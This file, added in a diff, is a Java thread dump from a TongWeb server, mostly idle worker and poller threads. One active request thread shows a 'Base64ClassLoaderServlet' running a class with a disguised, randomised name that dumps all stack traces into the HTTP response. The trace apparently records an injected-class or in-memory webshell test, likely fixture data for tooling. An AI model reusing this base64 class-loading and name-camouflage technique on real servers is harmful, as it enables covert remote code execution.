+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-ClientPoller-1" #116 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-AsyncTimeout" #104 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-9" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-5" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-10" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-2" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"pool-5-thread-1" #160 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b18712
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-4" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-Acceptor-0" #101 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@703e1ef8
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304)
+ at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231)
+ at sun.nio.ch.PendingFuture.get(PendingFuture.java:180)
+ at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:444)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-9" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-7" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI Scheduler(0)" #94 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5e592478
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Thread-5" #28 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPoll.epollWait(Native Method)
+ at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-4" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-4" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-2" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-7" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Stateful cache" #90 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66c82ef5
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-AsyncTimeout" #118 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Thread-6" #39 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPoll.epollWait(Native Method)
+ at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-5" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-5" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"main" #1 [WAITING] on java.lang.Thread@4212a0c8
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at com.tongweb.catalina.core.StandardServer.awaitJmx(StandardServer.java:499)
+ at com.tongweb.catalina.core.StandardServer.await(StandardServer.java:457)
+ at com.tongweb.catalina.startup.Catalina.await(Catalina.java:747)
+ at com.tongweb.catalina.startup.ThanosCatalina.start(Unknown Source)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at com.tongweb.catalina.startup.Bootstrap.start(Bootstrap.java:382)
+ at com.tongweb.catalina.startup.Bootstrap.main(Bootstrap.java:536)
+
+"RMI TCP Connection(idle)" #97 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3a64f4b1
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RetryTimer" #89 daemon [WAITING] on java.util.TaskQueue@4c6bac29
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio2-0.0.0.0-9060-exec-8" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-10" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-9" #37 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.lang.Thread.dumpThreads(Native Method)
+ at java.lang.Thread.getAllStackTraces(Thread.java:1615)
+ at org.apache.commons.lang.URdhB.ErrorTksljHandler.toString(BasicInfoPrinter.java:26)
+ at java.lang.String.valueOf(String.java:2994)
+ at com.tongweb.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244)
+ at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:230)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:53)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at EmptyFilter.doFilter(EmptyFilter.java:12)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
+ at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
+ at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
+ at com.tongweb.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
+ at com.tongweb.catalina.core.StandardContextValve.invoke0(StandardContextValve.java:123)
+ at com.tongweb.catalina.core.ThanosStandardContextValve.invoke0(ThanosStandardContextValve.java:14)
+ at com.tongweb.catalina.core.StandardContextValve.invoke(StandardContextValve.java:114)
+ at com.tongweb.catalina.core.ThanosStandardContextValve.invoke(ThanosStandardContextValve.java:103)
+ at com.tongweb.tomee.catalina.OpenEJBValve.invoke(OpenEJBValve.java:44)
+ at com.tongweb.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:452)
+ at com.tongweb.catalina.core.StandardHostValve.invoke(StandardHostValve.java:346)
+ at com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer.invoke(OpenEJBSecurityListener.java:97)
+ at com.tongweb.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
+ at com.tongweb.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
+ at com.tongweb.catalina.core.ThanosStandardEngineValve.invoke(ThanosStandardEngineValve.java:43)
+ at com.tongweb.catalina.realm.RealmValve.invoke(RealmValve.java:21)
+ at com.tongweb.catalina.connector.ThanosCoyoteAdaptor.service(ThanosCoyoteAdaptor.java:469)
+ at com.tongweb.coyote.http11.Http11Processor.service(Http11Processor.java:870)
+ at com.tongweb.coyote.http11.ThanosHttp11Processor.service(ThanosHttp11Processor.java:19)
+ at com.tongweb.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
+ at com.tongweb.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:921)
+ at com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor.doRun(Nio2Endpoint.java:1635)
+ at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
+ at com.tongweb.web.util.net.AbstractEndpoint.processSocket(AbstractEndpoint.java:867)
+ at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:634)
+ at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:612)
+ at sun.nio.ch.Invoker.invokeUnchecked(Invoker.java:126)
+ at sun.nio.ch.Invoker$2.run(Invoker.java:218)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1172)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-3" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
